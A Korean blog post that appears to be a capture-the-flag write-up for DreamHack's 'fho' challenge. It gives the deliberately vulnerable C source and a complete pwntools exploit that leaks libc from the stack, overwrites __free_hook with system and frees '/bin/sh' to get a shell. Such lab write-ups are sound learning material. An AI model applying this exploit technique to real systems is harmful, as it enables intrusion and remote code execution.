본문 바로가기
  • Show the world what you can do
Pwnable/DreamHack Wargame

[Dreamhack] fho 풀이

by kaymin 2022. 7. 14.

<교훈>

1. main의 ret에는 __libc_start_main+231 이 적혀있다. 그 주소는 libc 라이브러리 안에 있는 함수의 주소이다. 따라서 main함수의 ret를 읽어서 libc_base를 구할 수 있다는 것이다.

 

2. (아마) libc.symbols[]에서의 libc_base는 0인것 같다.

 

3. canary가 적용되어있고, 쉘을 따야 한다고 해서 꼭 그 카나리를 익스플로잇으로 같은걸 넣어야 하는건 아니다.

ret를 overwrite해서 쉘을 따는게 아니라, ret전에 쉘을 딸 수 있다면 카나리 신경안써도 된다.

 

4. libc.symbol[] 의 저 중괄호 안에는 너가 gdb에서 쳐서 나왔던 libc의 함수 이름을 고대로 치면 된다.

예를 들면 libc.symbols['__libc_system'] 이나 libc.symbols['__libc_start_main'] 이렇게.

 

5. libc에 있는 /bin/sh의 주소는 

libc_base+next(libc.search[b'/bin/sh']) 이거다

*참고로 저 '/bin/sh' 앞에있는 b 붙이는게 ㅈㄴ중요하다 저거 안되면 에러 오지게 뜨고 개난리난다

 

6. 니 gdb로 오프셋 구하기보다는 그냥 ELF 써서 해

내 gdb로 분석만 해서 했을땐 안됐는데 아마 elf나 libc가 달라서 그런것 같다. 엥간하면 그 ELF어쩌구 있잖아 그걸로 해

 

 

 

 

<문제 c코드>

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

 

 

<내 코드>

from pwn import *

p=remote('host3.dreamhack.games', 22522)
context.arch='amd64'
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

# [1] Stack buffer overflow
p.recvuntil(b'Buf: ')
p.send(b'A'*(48+24))  #buf+dummy+1
p.recvuntil(b'Buf: ')
p.recv(48+24)
ret=u64(p.recvn(6)+b'\x00'*2)
libc_base=ret-(libc.symbols['__libc_start_main']+231)

# [2] Arbitary-Address-Write
p.recvuntil('To write: ')
p.sendline(str(libc_base+libc.symbols['__free_hook'])) # write on the free_hook
p.recvuntil('With: ')
p.sendline(str(libc_base+libc.symbols['__libc_system'])) # write the system addr

# [3] Arbitrary-Address-Free
p.recvuntil(b'To free: ')
binsh=libc_base+next(libc.search(b'/bin/sh'))
p.sendline(str(binsh))
p.interactive()

 

아오 진짜 처음에 카나리 신경쓰느라 죽는줄알았다....카나리가 있다고 꼭 신경써야하는건 아니라고...

'Pwnable > DreamHack Wargame' 카테고리의 다른 글

[Dreamhack] out_of_bound 풀이  (0) 2022.07.21
[Dreamhack] hook 풀이  (0) 2022.07.15
[Dreamhack] basic_rop_x86 풀이  (0) 2022.07.12
[Dreamhack] basic_rop_x64 풀이  (3) 2022.07.12
[Dreamhack] ROP 풀이  (2) 2022.07.12

댓글